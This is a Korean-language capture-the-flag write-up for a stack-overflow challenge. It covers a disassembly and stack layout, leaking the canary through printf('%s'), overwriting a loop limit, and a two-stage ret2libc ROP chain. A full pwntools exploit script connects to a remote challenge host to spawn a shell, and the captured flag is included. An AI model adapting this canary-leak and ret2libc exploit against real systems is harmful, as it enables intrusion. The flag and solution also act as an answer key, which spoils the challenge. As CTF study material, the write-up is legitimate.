TL;DR
canary partial leak canary rebuild libc leak ret2libc 체이닝
Analysis
[*] '/home/andso/final/mobid/main' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: Novuln 함수는 다음과 같다.
000000000040087d <vuln>: 40087d: 55 push rbp 40087e: 48 89 e5 mov rbp,rsp 400881: 48 81 ec f0 00 00 00 sub rsp,0xf0 400888: 64 48 8b 04 25 28 00 mov rax,QWORD PTR fs:0x28 400891: 48 89 45 f8 mov QWORD PTR [rbp-0x8],rax 400897: c7 45 84 01 00 00 00 mov DWORD PTR [rbp-0x7c],0x1 40089e: c7 85 1c ff ff ff 00 mov DWORD PTR [rbp-0xe4],0x0 4008aa: 48 8d 85 20 ff ff ff lea rax,[rbp-0xe0] 4008b6: ba 00 02 00 00 mov edx,0x200 4008c3: 48 8d 85 20 ff ff ff lea rax,[rbp-0xe0] 4008ca: 48 83 c0 68 add rax,0x68 4008ce: ba 00 02 00 00 mov edx,0x200 4008ea: 48 8d 3d e2 04 00 00 lea rdi,[rip+0x4e2] # "%s" 4008f6: e8 25 fd ff ff call 400620 <printf@plt> 400906: 48 89 c6 mov rsi,rax 400909: 48 8d 3d c3 04 00 00 lea rdi,[rip+0x4c3] # "%s" 400915: e8 06 fd ff ff call 400620 <printf@plt> 40091a: 8b 45 84 mov eax,DWORD PTR [rbp-0x7c] 400922: 83 85 1c ff ff ff 01 add DWORD PTR [rbp-0xe4],0x1 40092c: 39 85 1c ff ff ff cmp DWORD PTR [rbp-0xe4],eax 400932: 0f 8c 72 ff ff ff jl 4008aa <vuln+0x2d> 40093c: 48 8b 45 f8 mov rax,QWORD PTR [rbp-0x8] 400940: 64 48 33 04 25 28 00 xor rax,QWORD PTR fs:0x28 40094b: e8 b0 fc ff ff call 400600 <__stack_chk_fail@plt>스택 프레임을 정리하면
| offset | desc |
|---|---|
rbp-0xe0 | 첫 번째 read 버퍼, 길이 0xe0 |
rbp-0x78 | 두 번째 read 버퍼 (rbp-0xe0+0x68) |
rbp-0xe4 | 루프 인덱스 |
rbp-0x7c | 루프 한계, 초기 값 1 |
rbp-0x8 | stack canary |
프레임 안에서 rpb-0x7c가 첫 번째 버퍼 내부에 포함되어있고 두 번째 버퍼 뒤에 카나리가 붙어있다.
read(0, buf1, 0x200);printf("%s", buf1);read(0, buf2, 0x200);printf("%s", buf2);idx++, if (idx < limit) goto loop;
루프는 이 순서를 따르는데, 우선 read 길이가 0x200으로 스택 버퍼 0xe0를 초과 또한, printf(“%s”)가 두 번째 버퍼 뒤 canary까지 훑을 수 있다.
그ㅡ러면
- buffer A (
rbp-0xe0):0x64바이트 패딩,p32(2)로 루프 한계 덮기,\n\0삽입 후 나머지 패딩. - buffer B (
rbp-0x78): canary 앞까지 태그를 넣고 다음 바이트를0x01로 설정한다. printf("%s", bufB)는 태그를 출력하고 이어지는 7바이트를 그대로 내보낸다. 태그를 기준으로 수신 데이터를 찾아서 canary를 재조립한다.
canary를 알아냈다면 같은 루프를 다시 활용해 ROP 체인을 넣는다. 두 번째 반복 루프의 첫 read는 단순히 \n\0만 채워 flush를 유도한다. 두 번째 read에서는 아래 순서를 따른다.
- buffer B의 canary 위치를 정확히 복구한다.
rbp채우기.- 리턴 주소 자리에
ret; pop rdi; puts@plt(GOT_puts); main체인 두기
같은 과정으로 최종 system("/bin/sh")를 날릴 수 있다. 두 번째 ROP는 아래 순서로 세팅
- 스택 정렬용
ret. pop rdi후/bin/sh주소(리모트 libc에서 계산).system.
Exploit
from pwn import *
context.binary = ELF('./main', checksec=False)elf = context.binarylibc = ELF('./libc-2.27.so', checksec=False)context.log_level = 'debug'
TAG = b'ANDSOPWN'BUF2_OFF = 0x70LIMIT_OFFSET = 0x64
def leak_canary(io): first = b'A'*LIMIT_OFFSET + p32(2) + b'\n\x00' io.send(first) second = b'B'*(BUF2_OFF-len(TAG)) + TAG + b'\x01' io.send(second) io.recvuntil(TAG) leak = io.recvn(8) canary = u64(b'\x00' + leak[1:]) log.success(f'Canary: {hex(canary)}') while True: chunk = io.recv(timeout=0.05) if not chunk: break return canary
def leak_libc(io, canary): io.send(b'C'*8 + b'\n\x00') rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address chain = flat(pop_rdi, elf.got['puts'], elf.plt['puts'], elf.symbols['main']) payload = b'D'*(BUF2_OFF-1) + b'\n' + p64(canary) + p64(0) + chain io.send(payload) io.recvline() io.recvline() leak_line = io.recvline().rstrip(b'\n') log.info(f'raw line: {leak_line!r}') log.info(f'hex: {leak_line.hex()}') leaked = u64(leak_line.ljust(8, b'\x00')) libc_base = leaked - libc.sym['puts'] log.success(f'puts@libc: {hex(leaked)} -> libc base {hex(libc_base)}') io.recvuntil(b'code consumes you!\n') return libc_base
def spawn_shell(io, canary, libc_base): io.send(b'E'*8 + b'\n\x00') rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address ret = rop.find_gadget(['ret']).address bin_sh = next(libc.search(b'/bin/sh\x00')) + libc_base system = libc.sym['system'] + libc_base log.info(f'Gadgets: pop_rdi={hex(pop_rdi)}, ret={hex(ret)}') log.info(f'Addresses: bin_sh={hex(bin_sh)}, system={hex(system)}') chain = flat(ret, pop_rdi, bin_sh, system) payload = b'F'*(BUF2_OFF-1) + b'\n' + p64(canary) + p64(0) + chain io.send(payload) io.interactive()
def main(): io = remote('34.185.215.6', 31358) io.recvuntil(b'code consumes you!\n') canary = leak_canary(io) libc_base = leak_libc(io, canary) spawn_shell(io, canary, libc_base)
if __name__ == '__main__': main()CTF{a313fbe90308e6f2f09d5e584bcb6fc1bfdcf2203eea6993841467bf0abdbca7}